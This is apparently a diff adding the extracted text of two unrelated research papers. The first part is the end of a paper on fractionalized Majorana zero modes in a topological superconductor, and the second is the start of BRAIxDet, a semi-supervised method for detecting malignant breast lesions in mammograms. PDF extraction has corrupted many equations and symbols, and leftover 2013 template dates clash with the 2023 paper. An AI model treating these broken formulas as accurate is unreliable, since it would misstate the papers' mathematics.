+valley and the quasi-resonant MZM spectral structures,
+respectively upon increasing εM. However, much above
+the threshold in εM, the linear spacing in J for the Zee-
+man splitting is restored and this situation is that de-
+limited by the marked horizontal dashed lines. Finally,
+panels (g)-(i) show the merge of the multi-level struc-
+ture in the sweet spot J = Jh = 1.335Γ leading to the
+emergence of the MIQ in the Majorana channel γB, while
+the valley continues in the channel γA. Therefore, within
+the cone-like walls domain, the sector γB of Majorana
+fermions for the QI makes explicit a constructive inter-
+ference process at zero-bias, while the corresponding in
+γA displays a destructive behavior. In this regime, the
+conductance GLAR(0) becomes fully quenched and just
+GET(0) contributes to GTotal(0) = e2
+2h [Fig.2(d)].
+V.
+CONCLUSIONS
+We found that the fractionalization of regular MZMs
+becomes a feasible task once an integer large spin S is
+exchange coupled to a quantum impurity, in particular
+when it acts as the new edge of a finite TSC in 1D. A
+counterintuitive regime arises due to a sweet value for
+the Ising coupling, which is capable of isolating a frac-
+tionalized MZM. We introduce such an excitation as the
+called Majorana-Ising-type quasiparticle (MIQ). As af-
+termath, we report the emergence of one MZM with the
+maximum spectral weight reduced by half and exhibiting
+resonant character. In contrast, the other MZM mode in
+the QI does not localize around zero-energy, but shows
+the same spectral weight of the resonant MZM via an
+antiresonant profile. Interestingly enough, due to the lo-
+calization of the MIQ, half of the quantum conductance
+is made essentially by the normal electronic contribution,
+while that from the Andreev reflection is totally lacking
+in such a situation. This behavior differs from that ob-
+served in perfectly infinite TSC wires, in which one MZM
+localizes at QI site with maximum spectral weight given
+by unit and with electronic and Andreev conductances
+equally split at zero-bias. Therefore, our proposal points
+out a manner to induce, within a more realistic perspec-
+tive from an experimental point of view, a quantum state
+at the edge of a short TSC in 1D. In this way, we expect
+that our MIQ can be employed as a potential building-
+block in majorana-based quantum computing.
+VI.
+ACKNOWLEDGMENTS
+We
+thank
+the
+Brazilian
+funding
+agencies
+CNPq
+(Grants.
+Nr.
+302887/2020-2,
+308410/2018-1,
+311980/2021-0, 305668/2018-8 and 308695/2021-6), Co-
+ordena¸c˜ao de Aperfei¸coamento de Pessoal de N´ıvel Supe-
+rior - Brasil (CAPES) – Finance Code 001 and FAPERJ
+process Nr. 210 355/2018. LSR and IAS acknowledge
+the support from Icelandic Research Fund (Rannis),
+projects No. 163082-051 and “Hybrid polaritonics”. IAS
+also acknowledges support from the Program Priority
+2030. LSR thanks ACS and Unesp for their hospitality.
+Appendix A: Green’s functions
+As the GFs in the presence of the large spin obey the
+notation ⟨⟨Aσ|Bσ⟩⟩ = �
+m⟨⟨Aσ|m⟩⟨m||Bσ⟩⟩[54], here we
+make explicit the details in the EOM approach to find
+the elements of type ⟨⟨Aσ|m⟩⟨m||Bσ⟩⟩. In what follows,
+we have
+(ω+ − ε↑ − Jm
+2
++ iΓ)⟨⟨d↑|m⟩⟨m||d†
+↑⟩⟩
+=
+1
+2S + 1 − t⟨⟨f|m⟩⟨m||d†
+↑⟩⟩ − ∆⟨⟨f †|m⟩⟨m||d†
+↑⟩⟩,
+(A1)
+(ω+ + ε↑ + Jm
+2
++ iΓ)⟨⟨d†
+↑|m⟩⟨m||d↑⟩⟩
+=
+1
+2S + 1 + t⟨⟨f †|m⟩⟨m||d↑⟩⟩ + ∆⟨⟨f|m⟩⟨m||d↑⟩⟩,
+(A2)
+the other two terms are given by
+(ω+ + ε↑ + Jm
+2
++ iΓ)⟨⟨d†
+↑|m⟩⟨m||d†
+↑⟩⟩
+= t⟨⟨f †|m⟩⟨m||d†
+↑⟩⟩ + ∆⟨⟨f|m⟩⟨m||d†
+↑⟩⟩
+(A3)
+and
+(ω+ − ε↑ − Jm
+2
++ iΓ)⟨⟨d↑|m⟩⟨m||d↑⟩⟩
+= −t⟨⟨f|m⟩⟨m||d↑⟩⟩ − ∆⟨⟨f †|m⟩⟨m||d↑⟩⟩
+(A4)
+And finally the last two GFs associated with the f site
+is
+⟨⟨f|m⟩⟨m||d↑⟩⟩ =
+−t
+(ω+ − εM)⟨⟨d↑|m⟩⟨m||d↑⟩⟩
++
+∆
+(ω+ − εM)⟨⟨d†
+↑|m⟩⟨m||d↑⟩⟩ (A5)
+and
+⟨⟨f †|m⟩⟨m||d↑⟩⟩ =
+t
+(ω+ + εM)⟨⟨d†
+↑|m⟩⟨m||d↑⟩⟩
+−
+∆
+(ω+ + εM)⟨⟨d↑|m⟩⟨m||d↑⟩⟩.(A6)
+With this group of GFs we can determine the complete
+description of the QI.
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@@ -0,0 +1,1709 @@
+Medical Image Analysis (2023)
+Contents lists available at ScienceDirect
+Medical Image Analysis
+journal homepage: www.elsevier.com/locate/media
+BRAIxDet: Learning to Detect Malignant Breast Lesion with Incomplete Annotations
+Yuanhong Chena,∗, Yuyuan Liua, Chong Wanga, Michael Elliottb, Chun Fung Kwokb, Carlos Pe˜na-Solorzanob, Yu Tiana, Fengbei
+Liua, Helen Frazerc, Davis J. McCarthyb,d, Gustavo Carneiroa
+aAustralian Institute for Machine Learning, The University of Adelaide, Adelaide, Australia
+bBioinformatics and Cellular Genomics, St Vincent’s Institute of Medical Research, Melbourne, Australia
+cSt Vincent’s Hospital Melbourne, Melbourne, Australia
+dMelbourne Integrative Genomics, The University of Melbourne, Melbourne, Australia
+A R T I C L E I N F O
+Article history:
+Received 1 May 2013
+Received in final form 10 May 2013
+Accepted 13 May 2013
+Available online 15 May 2013
+Keywords:
+Deep learning
+Multi-view learning
+Breast cancer screening
+Incomplete annotations
+Malignant lesion detection
+Student-teacher Learning
+A B S T R A C T
+Methods to detect malignant lesions from screening mammograms are usually trained
+with fully annotated datasets, where images are labelled with the localisation and clas-
+sification of cancerous lesions. However, real-world screening mammogram datasets
+commonly have a subset that is fully annotated and another subset that is weakly anno-
+tated with just the global classification (i.e., without lesion localisation). Given the large
+size of such datasets, researchers usually face a dilemma with the weakly annotated sub-
+set: to not use it or to fully annotate it. The first option will reduce detection accuracy
+because it does not use the whole dataset, and the second option is too expensive given
+that the annotation needs to be done by expert radiologists. In this paper, we propose a
+middle ground solution for the dilemma, which is to formulate the training as a weakly-
+and semi-supervised learning problem that we refer to as malignant breast lesion detec-
+tion with incomplete annotations. To address this problem, our new method comprises
+two stages, namely: 1) pre-training a multi-view mammogram classifier with weak su-
+pervision from the whole dataset, and 2) extend the trained classifier to become a multi-
+view detector that is trained with semi-supervised student-teacher learning, where the
+training set contains fully and weakly-annotated mammograms. We provide extensive
+detection results on two real-world screening mammogram datasets containing incom-
+plete annotations, and show that our proposed approach achieves state-of-the-art results
+in the detection of malignant breast lesions with incomplete annotations.
+© 2023 Elsevier B. V. All rights reserved.
+1. Introduction
+Breast cancer is the most commonly diagnosed cancer
+worldwide and the leading cause of cancer-related death in
+women (Sung et al., 2021). One of the most effective ways
+to increase the survival rate relies on the early detection of
+breast cancer (Lauby-Secretan et al., 2015) using screening
+mammograms (Selvi, 2014). The analysis of screening mam-
+∗Corresponding author.
+e-mail: yuanhong.chen@adelaide.edu.au (Yuanhong Chen)
+mograms is generally done manually by radiologists, with the
+eventual help of Computer-Aided Diagnosis (CAD) tools to as-
+sist with the detection and classification of breast lesions (Had-
+jiiski et al., 2006; Shen et al., 2019a). However, CAD tools
+have shown inconsistent results in clinical settings. Some re-
+search groups (Brem et al., 2003; Hupse and Karssemeijer,
+2009; Hupse et al., 2013) have shown promising results, where
+radiologists benefited from the use of CAD systems with an im-
+proved detection sensitivity. However, other studies (Lehman
+et al., 2015; Fenton et al., 2007, 2011) do not support the re-
+imbursement of the costs associated with the use of CAD sys-
+arXiv:2301.13418v1  [cs.CV]  31 Jan 2023
+
+EISEVIERN13-AI5
+MEDICAL
+IMAGE
+ANALYSIS2
+Yuanhong Chen et al. / Medical Image Analysis (2023)
+tems, estimated to be around $400 million a year (Lehman et al.,
+2015), since experimental results show no benefits in terms of
+detection rate.
+The use of deep learning (LeCun et al., 2015) for the analysis
+of screening mammograms is a promising approach to improve
+the accuracy of CAD tools, given its outstanding performance
+in other learning tasks (He et al., 2016; Ren et al., 2015). For
+example, Shen et al. (2019b, 2021) proposed a classifier that re-
+lies on concatenated features from a global network (using the
+whole image) and a local network (using image patches). To
+leverage the cross-view information of mammograms, Carneiro
+et al. (2017) explored different feature fusion strategies to inte-
+grate the knowledge from multiple mammographic views to en-
+hance classification performance. However, these studies that
+focus on classification without producing reliable lesion de-
+tection results may not be useful in clinical practice. Lesion
+detection from mammograms has been studied by Ribli et al.
+(2018) and Dhungel et al. (2015), who developed CAD sys-
+tems based on modern visual object detection methods. Ma
+et al. (2021) implemented a relation network (Hu et al., 2018) to
+learn the inter-relationships between the region proposals from
+ipsi-lateral mammographic views. Yang et al. (2020, 2021) pro-
+posed a system that focused on the detection and classification
+of masses from mammograms by exploring complementary in-
+formation from ipsilateral and bilateral mammographic views.
+Although the mammographic lesion detection methods above
+show encouraging performance, they are trained on fully anno-
+tated datasets, where images are labelled with the classification
+and localisation of cancerous lesions. Such setup is uncommon
+in large-scale real-world screening mammogram datasets that
+usually have a subset of the images annotated with classification
+and localisation of lesions, and the other subset annotated with
+only the global classification. For example, our own Annotated
+Digital Mammograms and Associated Non-Image (ADMANI)
+dataset, which has been collected from the BreastScreen Vic-
+toria (Australia) population screening program, has a total of
+4,084,098 images, where only 47.78% of the 21,399 cancer
+cases are annotated with classification and localisation of le-
+sions, and the rest 52.22% of the cases are weakly annotated,
+as displayed in Figure 1. Given the large size of such datasets,
+it is rather disadvantageous not to use these weakly annotated
+images for training, but at the same time, it is too expensive
+to have them annotated by radiologists. Therefore, in this pa-
+per we propose a middle-ground solution, which is to formulate
+the training as a weakly- and semi-supervised learning problem
+that is referred to as malignant breast lesion detection with in-
+complete annotations.
+To address the incomplete annotations learning problem de-
+scribed above, we introduce a novel multi-view lesion detection
+method, called BRAIxDet. BRAIxDet is trained using a two-
+stage learning strategy that utilises all training samples from
+the dataset. In the first stage, we pre-train our previously pro-
+posed multi-view classification network BRAIxMVCCL (Chen
+et al., 2022) on the whole weakly-supervised training set,
+where images are annotated only with their global labels.
+This pre-training enables BRAIxMVCCL to produce a strong
+feature extractor and a post-hoc explanation based on Grad-
+Fully Annotated Data       (47.78%)
+Labels
+Ellipse
+CentroidX:    
+ 
+716  
+CentroidY: 
+ 
+1922 
+EllipseRadiusX: 
+124 
+EllipseRadiusY: 
+124
+Pathology
+Image_outcome: 
+Cancer
+General Info
+Patient ID: 
+ 
+xxxx
+Age:  
+ 
+ 
+xxxx
+Family History: 
+xxxx
+... ...
+Manufacturer:  
+SIEMENS
+Laterality: 
+ 
+L
+ViewPosition:  
+CC
+Weakly Annotated Data    (52.22%)
+Labels
+Ellipse
+CentroidX:    
+ 
+n/a  
+CentroidY: 
+ 
+n/a 
+EllipseRadiusX: 
+n/a 
+EllipseRadiusY: 
+n/a
+Pathology
+Image_outcome: 
+Cancer
+General Info
+Patient ID: 
+ 
+xxxx
+Age:  
+ 
+ 
+xxxx
+Family History: 
+xxxx
+... ...
+Manufacturer:  
+FUJIFILM
+Laterality: 
+ 
+R
+ViewPosition:  
+MLO
+Fig. 1. The data structure of our ADMANI dataset, showing fully (top,
+representing 47.78% of the data) and weakly (bottom, representing the
+remaining 52.22% of the data) annotated mammograms.
+CAM (Selvaraju et al., 2017). In the second stage, we trans-
+form BRAIxMVCCL into the detector BRAIxDet that is trained
+using a student-teacher semi-supervised learning mechanism.
+More specifically, the student is trained from fully- and weakly-
+supervised subsets, where the weakly-supervised images have
+their lesions pseudo-labelled by the teacher’s detections and
+BRAIxMVCCL’s Grad-CAM results. Furthermore, the teacher
+is trained from the exponential moving average (EMA) of
+the student’s parameters, where the batch normalization (BN)
+statistic used in the EMA is frozen after pre-training to allevi-
+ate the issues related to the dependency on the samples used
+to train the student, and the mismatch of model parameters be-
+tween student and teacher. The major contributions of this pa-
+per are summarised as follows:
+• We explore a new experimental setting for the detection
+of malignant breast lesions using large-scale real-world
+screening mammogram datasets that have incomplete an-
+
+RMLOYuanhong Chen et al. / Medical Image Analysis (2023)
+3
+notations, with a subset of images annotated with the clas-
+sification and localisation of lesions and a subset of images
+annotated only with image classification, thus forming a
+weakly- and semi-supervised learning problem.
+• We propose a new two-stage training method to han-
+dle the incomplete annotations introduced above.
+The
+first stage uses the images annotated with their classifica-
+tion labels to enable a weakly-supervised pre-training of
+our previously proposed multi-view classification model
+BRAIxMVCCL (Chen et al., 2022).
+The second stage
+transforms the multi-view classifier BRAIxMVCCL into
+the detector BRAIxDet, which is trained with a student-
+teacher semi-supervised learning approach that uses both
+the weakly- and the fully-supervised subsets.
+• We also propose innovations to the student-teacher semi-
+supervised detection learning, where the student is trained
+using the teacher’s detections and BRAIxMVCCL’s Grad-
+CAM (Selvaraju et al., 2017) outputs to estimate lesion lo-
+calisation for the weakly-labelled data; while the teacher is
+trained with the temporal ensembling of student’s param-
+eters provided by EMA, with the BN parameters frozen
+after pre-training to mitigate the problems introduced by
+the dependency on the student training samples, and the
+mismatch between student and teacher model parameters.
+We provide extensive experiments on two real-world breast can-
+cer screening mammogram datasets containing incomplete an-
+notations. Our proposed BRAIxDet model achieves state-of-
+the-art (SOTA) performance on both datasets in terms of lesion
+detection measures.
+2. Related work
+2.1. Lesion detection in mammograms
+Object detection is a fundamental task in computer vi-
+sion (Liu et al., 2020a). The existing detection methods can be
+categorized into two groups: 1) two-stage methods (Girshick,
+2015; Ren et al., 2015) that first generate region proposals based
+on local objectiveness, and then classify and refine the detection
+of these region proposals; and 2) single-stage methods (Red-
+mon et al., 2016; Carion et al., 2020) that directly output bound-
+ing box predictions and corresponding labels. In general, the
+two-stage methods are preferred for non-real-time medical im-
+age analysis applications, such as lesion detection from mam-
+mograms (Ma et al., 2021; Yang et al., 2020, 2021), since they
+usually provide more accurate detection performance. On the
+other hand, single-stage methods tend to be less accurate but
+faster, which is more suitable for real-time applications, such
+as assisted intervention (Butler et al., 2022). Similar to previ-
+ous papers that propose lesion detection methods from mam-
+mograms (Ma et al., 2021; Yang et al., 2020, 2021), we adopt
+the two-stage method Faster-RCNN (Ren et al., 2015) as our
+backbone detector since the detection accuracy is more impor-
+tant than speed in our clinical setting.
+A standard screening mammogram exam contains two ipsi-
+lateral projection views of each breast, namely bilateral cran-
+iocaudal (CC) and mediolateral oblique (MLO), where radi-
+ologists analyse both views simultaneously by searching for
+global architectural distortions and local cancerous lesions
+(e.g., masses and calcifications).
+Recently, fully-supervised
+learning methods (i.e., methods containing training sets with
+complete lesion localisation and classification annotations)
+have shown promising results for mass detection from single-
+view (Ribli et al., 2018; Dhungel et al., 2015) and multi-view
+mammograms (Ma et al., 2021; Liu et al., 2020b; Yang et al.,
+2020, 2021). However, these methods only focus on the detec-
+tion and classification of masses (i.e., not all cancerous lesions),
+limiting their scope and application.
+Furthermore, real-world screening mammogram datasets
+tend not to exclusively contain fully annotated images – instead,
+these datasets usually have a subset that is annotated with lesion
+localisation and classification and another subset that is weakly
+annotated only with the global image classification labels. In-
+stead of discarding the weakly annotated images or hiring a ra-
+diologist to annotate these images, we propose a new weakly-
+and semi-supervised learning approach that can use both sub-
+sets of the dataset, without adding new detection labels.
+2.2. Weakly-supervised object detection
+Weakly supervised disease localisation (WSDL) is a chal-
+lenging learning problem that consists of training a model to
+localise a disease in a medical image, even though the training
+set contains only global image classification labels without any
+disease localisation labels. WSDL approaches can be catego-
+rized into class activation map (CAM) methods (Zhou et al.,
+2016), multiple instance learning (MIL) methods (Oquab et al.,
+2015), and prototype-based methods (Chen et al., 2019).
+CAM methods leverage the gradients of the target disease at
+the last convolution layer of the classifier to produce a coarse
+heatmap. This heatmap highlights areas that contribute most
+to the classification of the disease in a post-hoc manner. For
+example, Rajpurkar et al. (2017) adopted GradCAM (Selvaraju
+et al., 2017) to achieve WSDL in chest X-rays. Lei et al. (2020)
+extended the original CAM (Zhou et al., 2016) to learn the im-
+portance of individual feature maps at the last convolution layer
+to capture fine-grained lung nodule shape and margin for lung
+nodule classification. MIL-based methods regard each image
+as a bag of instances and encourage the prediction score for
+positive bags to be larger than for the negative ones. To extract
+region proposals included in each bag, early methods (Oquab
+et al., 2015) adopted max pooling to concentrate on the most
+discriminative regions. To avoid the selection of imprecise re-
+gion proposals, Noisy-OR (Wang et al., 2017), softmax (Sei-
+bold et al., 2020), and Log-Sum-Exp (Wang et al., 2017; Yao
+et al., 2018) pooling methods have been used to maintain the
+relative importance between instance-level predictions and en-
+courage more instances to affect the bag-level loss. Prototype-
+based methods aim to learn class-specific prototypes, repre-
+sented by learned local features associated with each class,
+where classification and detection are achieved by assessing the
+similarity between image and prototype features, producing a
+
+4
+Yuanhong Chen et al. / Medical Image Analysis (2023)
+detection map per prototype (Chen et al., 2019). The major
+weakness of WSDL methods is that they are trained only with
+image-level labels, so the model can only focus on the most dis-
+criminative features of the image, which generally produce too
+many false positive lesion detections.
+2.3. Semi-supervised object detection
+Large-scale real-world screening mammogram datasets usu-
+ally contain a subset of fully-annotated images, where all le-
+sions have localisation and classification labels, and another
+subset of images with incomplete annotations represented by
+the global classification labels.
+Such setting forms a semi-
+supervised learning (SSL) problem, where part of the training
+does not have the localisation label. There are two typical SSL
+strategies, namely: pseudo-label methods (Sohn et al., 2020;
+Liu et al., 2021; Xu et al., 2021) and consistency learning meth-
+ods (Jeong et al., 2019).
+Pseudo-label methods are usually explored in a student-
+teacher framework, where the main idea is to train the teacher
+network with the fully-annotated subset, followed by a train-
+ing of the student model with pseudo-labels produced by the
+teacher for the unlabelled data. Sohn et al. (2020) proposed
+STAC, a detection model pre-trained using labelled data and
+used to generate labels for unlabelled data, which is then used
+to fine-tune the model.
+The unbiased teacher method (Liu
+et al., 2021) generates the pseudo-labels for the student, and the
+student trains the teacher with EMA (Tarvainen and Valpola,
+2017), where the teacher and student use different augmented
+images, and the foreground and background imbalances are
+dealt with the focal loss (Lin et al., 2017). Soft teacher (Xu
+et al., 2021) is based on an end-to-end learning paradigm that
+gradually improves the pseudo-label accuracy during the train-
+ing by selecting reliable predictions.
+The pseudo-labelling
+methods above have the advantage of being straightforward to
+implement for the detection problem. However, when fully-
+annotated data is scarce, the student network can overfit the
+incorrect pseudo-labels, which is a problem known as confir-
+mation bias that leads to poor model performance.
+Consistency learning methods train a model by minimiz-
+ing the difference between the predictions produced before and
+after applying different types of perturbations to the unlabelled
+images. Such strategy is challenging to implement for object
+detection because of the difficulty to accurately match the de-
+tected regions across various locations and sizes after pertur-
+bation.
+Recently proposed methods (Jeong et al., 2019; Xu
+et al., 2021) use one-to-one correspondence perturbation (such
+as cutout and flipping) to solve this problem. Nevertheless, such
+strong perturbations are not suitable for medical image detec-
+tion since they could erase malignant lesions. Also, perturba-
+tions applied to pixel values (e.g., color jitter) are not helpful for
+mammograms since they are grey-scale images. Furthermore,
+searching for the optimal combination of the perturbations and
+the hyper-parameters that control the data augmentation func-
+tions is computationally expensive. Given the drawbacks of
+consistency learning methods, we explore pseudo-label meth-
+ods in this paper, but we introduce a mechanism to address the
+confirmation bias problem.
+2.4. Pre-training methods in medical image analysis
+Pre-training is an important step whenever the annotated
+training set is too small to provide a robust model train-
+ing (Clancy et al., 2020).
+The most successful pre-training
+methods are based on ImageNet pre-training (Bar et al., 2015;
+Carneiro et al., 2017), self-supervised pre-training (Vu et al.,
+2021), or proxy-task pre-training (Clancy et al., 2020).
+ImageNet pre-training (Russakovsky et al., 2015) is widely
+used in the medical image analysis (Bar et al., 2015; Carneiro
+et al., 2017), where it can enable faster convergence (Raghu
+et al., 2019) or compensate for small training sets (Carneiro
+et al., 2017). However, ImageNet pre-training can be problem-
+atic given the fundamental differences in image characteristics
+between natural images and medical images. Self-supervised
+pre-training (Vu et al., 2021) has shown strong results, but
+designing an arbitrary self-supervised task that is helpful for
+the target task (i.e., lesion detection) is not trivial, and self-
+supervised pre-training tends to be a complex process that can
+take a significant amount of training time. The use of proxy-
+task pre-training (Clancy et al., 2020) is the method that usu-
+ally shows the best performance, as long as the proxy task is rel-
+evant to the target task. We follow the proxy-task pre-training
+given its superior performance.
+3. Proposed method
+Pre-training
+Stage
+Student-teacher 
+Stage
+BRAIxDet  
+(Teacher)
+BRAIxDet  
+(Student)
+GradCAM
+BRAIxMVCCL
+Fig. 2. Overview of the proposed multi-stage training that comprises
+the pre-training on a weakly-supervised classification task, and a semi-
+supervised student-teacher learning to detect malignant lesions with
+incomplete annotations.
+During pre-training, we train the classifier
+BRAIxMVCCL using a weakly-labelled version of Ds, called �Ds, and Dw.
+After pre-training, we transfer two types of information to the next train-
+ing stage: 1) the set �Dw that contains the detected lesions using the Grad-
+CAM maps from the classifier applied to the samples in Dw; and 2) the
+BRAIxMVCCL’s parameter θ, and running mean γ and standard devia-
+tion β for batch norm layers. The semi-supervised student-teacher learning
+builds the teacher and student BRAIxDet detectors from BRAIxMVCCL’s
+parameters, where the student is trained with the fully-supervised Ds and
+the pseudo-labelled �Dw produced from the teacher’s detections and Grad-
+CAM detections in �Dw, and the teacher is trained with exponential moving
+average of the student’s parameters.
+Problem definition. Our method aims to train an accurate
+breast lesion detector from a dataset of multi-view (i.e., CC
+and MLO) mammograms containing incomplete annotations,
+
+Yuanhong Chen et al. / Medical Image Analysis (2023)
+5
+i.e., a dataset composed of a fully-annotated subset Ds and a
+weakly-annotated subset Dw. The fully-annotated subset is de-
+noted by Ds = {xm
+i , xa
+i , Ym
+i }|Ds|
+i=1 , where x ∈ X ⊂ RH×W repre-
+sents a mammogram of height H and width W, xm
+i represents
+the main view, xa
+i is the auxiliary view (with m, a ∈ {CC, MLO}
+and m � a), Ym
+i = {cm
+i, j, bm
+i,j}
+|Ym
+i |
+j=1 denotes the classification and
+localisation of the |Ym
+i | image lesions, with cm
+i,j ∈ C = {0, 1} de-
+noting the jth lesion label (with 1 = cancer and 0 = non-cancer)
+and bm
+i, j ∈ B ∈ R4 representing the top-left and bottom-right
+coordinates of the bounding box of the jth lesion on xm
+i . The
+weakly-annotated subset is defined as Dw = {xm
+i , xa
+i , cm
+i }|Dw|
+i=1 ,
+with cm
+i
+∈ C = {0, 1}. The testing set is similarly defined as
+the fully-annotated subset since we aim to assess the lesion de-
+tection performance.
+System
+overview.
+To
+effectively
+utilise
+the
+train-
+ing
+samples
+in
+Ds
+and
+Dw,
+we
+propose
+a
+2-stage
+learning
+process,
+with
+a
+weakly-supervised
+pre-
+training
+using
+all
+samples
+from
+Dw
+and
+�Ds
+=
+�
+(xm
+i , xa
+i , cm
+i )|(xm
+i , xa
+i , Ym
+i ) ∈ Ds, and cm
+i = maxj∈{1,...,|Ym
+i |}(cm
+i,j)
+�
+,
+followed by semi-supervised student-teacher learning using
+Ds and pseudo-labelled �Dw, as shown in Figure 2.
+In the
+pre-training stage described in Section 3.1, we train the
+multi-view mammogram classifier BRAIxMVCCL (Chen
+et al., 2022) to learn an effective feature extractor and a
+reasonably accurate GradCAM detector (Selvaraju et al.,
+2017) to support the next stage of semi-supervised learning.
+After pre-training, we replace the classification layer of
+BRAIxMVCCL with a detection head, forming the BRAIxDet
+model based on the Faster R-CNN backbone (Ren et al.,
+2015), and we also duplicate BRAIxDet into the student and
+teacher models.
+In our student-teacher semi-supervised
+learning (SSL) stage explained in Section 3.2, we train the
+student and teacher models, where the teacher uses its detector
+and the GradCAM detections in �Dw to generate localisation
+pseudo-labels, denoted by �Ym
+i , for the lesions in the samples
+(xm
+i , xa
+i , cm
+i ) ∈ Dw, forming the new pseudo-labelled dataset
+�Dw to train the student, and the student updates the teacher’s
+model parameters based on the exponential moving average
+(EMA) (Laine and Aila, 2016; Tarvainen and Valpola, 2017) of
+its model parameters. Additionally, the student is also trained
+to detect lesions using the fully-annotated samples from Ds.
+During inference, the final lesion detection results are rep-
+resented by the bounding box predictions from the teacher
+BRAIxDet model.
+3.1. Pre-training on multi-view mammogram classification
+We pre-train our previously proposed BRAIxMVCCL
+model (Chen et al., 2022) on the classification task before trans-
+forming it into a Faster R-CNN detector (Ren et al., 2015) to be
+trained to localise cancerous lesions. The multi-view backbone
+classifier BRAIxMVCCL (Chen et al., 2022), parameterised
+by θ ∈ Θ and partially illustrated in Figure 3, is defined by
+ˆc = fθ(xm, xa), which returns a classification ˆc ∈ [0, 1] (1 =
+cancer and 0 = non-cancer) given the main and auxiliary views
+xm, xa. This model is trained with �Ds and Dw defined above to
+Algorithm 1 Produce GradCAM pseudo-labelled dataset �Dw
+1: require: Weakly-supervised dataset Dw, BRAIxMVCCL
+model fθ(.), and threshold τ
+2: �Dw = ∅
+▷ Initialise pseudo-labelled �Dw
+3: for (xm
+i , xa
+i , ci) ∈ Dw, where ci = 1 do
+4:
+ˆci = fθ(xm
+i , xa
+i )
+5:
+hi = GradCAM( fθ(xm
+i , xa
+i ), ci)
+▷ Heatmap prediction
+6:
+˜hi = I(hi > τ) ⊙ hi
+▷ Binarise heatmap
+7:
+Li = CCA(˜hi)
+▷ Connected component analysis
+8:
+for l j ∈ Li do
+▷ Remove small and large components
+9:
+if area(l j) < 32 × 32 then Li ← Li \ lj
+10:
+if area(l j) > 1024 × 1024 then Li ← Li \ lj
+11:
+�Ym
+i = ∅
+▷ GradCAM detections
+12:
+for l j ∈ Li do
+13:
+bj = BBox(l j)
+▷ Get bounding box from lj
+14:
+�Ym
+i ← �Ym
+i
+�(ˆci, bj)
+▷ Add bounding box to �Ym
+i
+15:
+�Dw ← �Dw
+�(xm
+i , xa
+i , �Ym
+i )
+16: return �Dw
+minimise classification mistakes and maximise the consistency
+between the global image features produced from each view, as
+follows:
+θ∗ = arg min
+θ∈Θ �
+(xm
+i ,xa
+i ,cm
+i )∈Dw
+� �Ds
+ℓbce( fθ(xm
+i , xa
+i ), cm
+i ) + ℓsim( f g
+θ (xm
+i ), f g
+θ (xa
+i )),
+(1)
+where ℓbce(.) denotes the binary cross-entropy (BCE) loss, and
+ℓsim(.) denotes the consistency loss between the global features
+produced by f g
+θ (.), which is part of the model fθ(.).
+A particularly important structure from the BRAIxMVCCL
+classifier, which will be useful for the detector BRAIxDet, is
+the local co-occurrence module (LCM) that explores the cross-
+view feature relationships at local regions for the main view
+image xm. The LCM is denoted by ˜um = um ⊕ f l
+θ(um, ua), where
+˜um ∈ R ˆH× ˆW×D′ (with ˆH < H and ˆW < W), ⊕ denotes the con-
+catenation operator, and f l
+θ(.) is part of fθ(.). The features used
+by LCM are extracted from um = f b
+θ (xm) and ua = f b
+θ (xa),
+where f b
+θ (.) is also part of fθ(.) and um, ua ∈ U ⊂ R ˆH× ˆW×D
+(with D > D′).
+The student-teacher SSL stage will require the detection of
+pseudo labels for the weakly supervised dataset Dw. To avoid
+the confirmation bias described in Section 2.3, we combine the
+teacher’s detection results, explained below in Section 3.2, with
+the GradCAM (Selvaraju et al., 2017) detections for the cancer
+cases produced by the BRAIxMVCCL classifier. Algorithm 1
+displays the pseudo-code to generate GradCAM pseudo labels,
+where GradCAM( fθ(xm
+i , xa
+i ), ci) returns the GradCAM heatmap
+hi ∈ [0, 1]H×W for class ci on image xm
+i , I(hi > τ) produces
+a binary map with the heatmap pixels larger than τ being set
+to 1 or 0 otherwise, ⊙ denotes the element-wise multiplication
+operator, CCA(hi) produces the set of connected components
+Li = {l j}|Li|
+j=1 from the binarised heatmap ˜hi (with lj ∈ {0, 1}H×W),
+area(l j) returns the area (i.e., number of pixels ω ∈ Ω where
+
+6
+Yuanhong Chen et al. / Medical Image Analysis (2023)
+Auxiliary View
+FN
+FN
+:
+:
+Local Co-Occurrence
+Proposals
+LCM
+Backbone
+RPN
+Main View
+Detection Head
+Roi Pooling
+RoI Head
+Box
+cls
+Box
+reg
+Detection 
+Outcome 
+Fig. 3. BRAIxDet takes two mammographic views (main and auxiliary) and uses a backbone model to extract the main and auxiliary features um and ua,
+where the main components are: 1) the local co-occurrence module (LCM) that models the local semantic relationships between the two views to output
+the cross-view feature ˜um; and 2) the detection module that outputs the classifications {cm
+j }|Ym|
+j=1 and lesion bounding box predictions {bm
+j }|Ym|
+j=1 . FN stands for
+fully-connected layers, ⊕ indicates the concatenation operator, and RPN is the region proposal network.
+l j(ω) = 1, where Ω is the image lattice) of the connected com-
+ponent l j, and BBox(lj) returns the 4 coordinates of the bound-
+ing box bj from the (left,right,top,bottom) bounds of connected
+component l j. This prediction process produces a set of bound-
+ing boxes paired with the confidence score ˆci from classifier
+BRAIxMVCCL (Chen et al., 2022), forming �Ym
+i = {(ˆci, bj)}
+|�Ym
+i |
+j=1
+for each training sample.
+3.2. Student-teacher SSL for lesion detection
+After pre-training, we modify the structure of the trained
+BRAIxMVCCL model (Chen et al., 2022) fθ(xm
+i , xa
+i ) by prun-
+ing the global consistency module (GCM) denoted by f g
+θ (.),
+the classification layers, and the part of the local co-occurrence
+module (LCM) that produces spatial attention for the auxiliary
+image since these layers do not provide useful information for
+lesion localisation in the main image. This pruning process
+is followed by the addition of the detection head (Ren et al.,
+2015), consisting of the region proposal network (RPN) and
+region of interest (RoI head) head, which forms the detector
+�Ym
+i = f d
+θ (xm
+i , xa
+i ), where �Ym
+i = {(ˆcm
+i, j, ˆbm
+i, j)}
+|�Ym
+i |
+j=1 , with ˆcm
+i, j ��� [0, 1]
+and ˆbm
+i, j ∈ B ⊂ R4.
+Then, we duplicate this model into a
+teacher f d
+θt(xm
+i , xa
+i ) and a student f d
+θs(xm
+i , xa
+i ) that are used in the
+SSL training (Tarvainen and Valpola, 2017), where we train the
+student with the fully-labelled Ds and the pseudo-labelled �Dw,
+while the teacher network is trained with the exponential mov-
+ing average (EMA) of the student’s parameters (Tarvainen and
+Valpola, 2017). Figure 3 shows the BRAIxDet structure, and
+Figure 4 summarises the student-teacher SSL training stage.
+For the supervised training of the student, we followed the
+Faster-RCNN training procedure that consists of four loss func-
+tions to train the RPN and Roi head modules to classify bound-
+ing boxes and regress their coordinates (Ren et al., 2015). The
+objective function is defined as
